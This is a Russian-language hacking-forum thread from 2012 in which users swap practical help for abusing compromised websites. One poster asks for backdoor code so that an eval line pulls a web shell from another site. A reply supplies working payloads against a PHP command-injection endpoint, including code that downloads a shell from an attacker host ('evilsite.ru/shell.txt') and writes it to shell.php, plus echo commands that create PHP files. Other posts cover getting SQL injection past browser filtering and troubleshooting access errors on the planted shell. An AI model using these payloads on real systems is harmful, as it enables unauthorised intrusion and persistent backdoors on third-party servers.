HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21881  
Старый 22.12.2012, 15:40
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию

Цитата:
Сообщение от Кот в сапога  
Кот в сапога said:
Привет! Почему я в FF делаю запрос к БД со скобками "user()" и браузер фильтрует их преобразовывая в "user #45005232991653576411" и запрос не получается. В то время через оперу все нормально.
Как это обойти?
ЗЫ Установил в FF хакбар, как только не кодирую серавно запрос не проходит
поставь браузер http://getmantra.com/ и будет щястя )
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
 
Ответить с цитированием

  #21882  
Старый 22.12.2012, 20:27
ldschooler
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

Подскажите код бэкдора на шелле?

Чтобы строчка на eval вызывала шелл с другого сайта...
 
Ответить с цитированием

  #21883  
Старый 22.12.2012, 21:18
qwwertty
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301

Репутация: 0
По умолчанию

Цитата:
Сообщение от ldschooler  
ldschooler said:
Подскажите код бэкдора на шелле?
Чтобы строчка на eval вызывала шелл с другого сайта...
Код:
Code:
 
Ответить с цитированием

  #21884  
Старый 22.12.2012, 21:22
ldschooler
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

А можно на конкретном примере?
 
Ответить с цитированием

  #21885  
Старый 22.12.2012, 21:32
qwwertty
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301

Репутация: 0
По умолчанию

Цитата:
Сообщение от ldschooler  
ldschooler said:
А можно на конкретном примере?
Код:
Code:
http://target/evil.php?cmd=
http://target/evil.php?cmd=phpinfo();
http://target/evil.php?cmd=$f=fopen($_GET[r],$_GET[rr]);$o=fopen($_GET[o],$_GET[oo]);while(!feof($f)){$row=fgets($f);fputs($o,$row);} &rr=r&oo=w+&r=http://evilsite.ru/shell.txt&o=shell.php
Либо echo '' > shell.php
 
Ответить с цитированием

  #21886  
Старый 22.12.2012, 21:35
ldschooler
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

Так и делаю, но не открывается шелл по последней строчке
 
Ответить с цитированием

  #21887  
Старый 22.12.2012, 21:39
qwwertty
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301

Репутация: 0
По умолчанию

Цитата:
Сообщение от ldschooler  
ldschooler said:
Так и делаю, но не открывается шелл по последней строчке
Сохрани как txt - и посмотри что выходит.

echo '' > 111.txt
 
Ответить с цитированием

  #21888  
Старый 22.12.2012, 21:41
ldschooler
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

Цитата:
Сообщение от qwwertty  
qwwertty said:
Сохрани как txt - и посмотри что выходит.
echo '' > 111.txt
Forbidden

You do not have permission to access this document.
 
Ответить с цитированием

  #21889  
Старый 22.12.2012, 21:43
qwwertty
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301

Репутация: 0
По умолчанию

Цитата:
Сообщение от ldschooler  
ldschooler said:
Forbidden
You do not have permission to access this document.
Это происходит при попытке залить шелл с таким кодом?

Код:
Code:
Либо на этом шаге?

Код:
Code:
echo '' > 666.php
 
Ответить с цитированием

  #21890  
Старый 22.12.2012, 21:45
ldschooler
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

Есть шелл. На шелле я создал файл php с содержимым ""

Ошибка эта даже при попытке вывести phpinfo.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ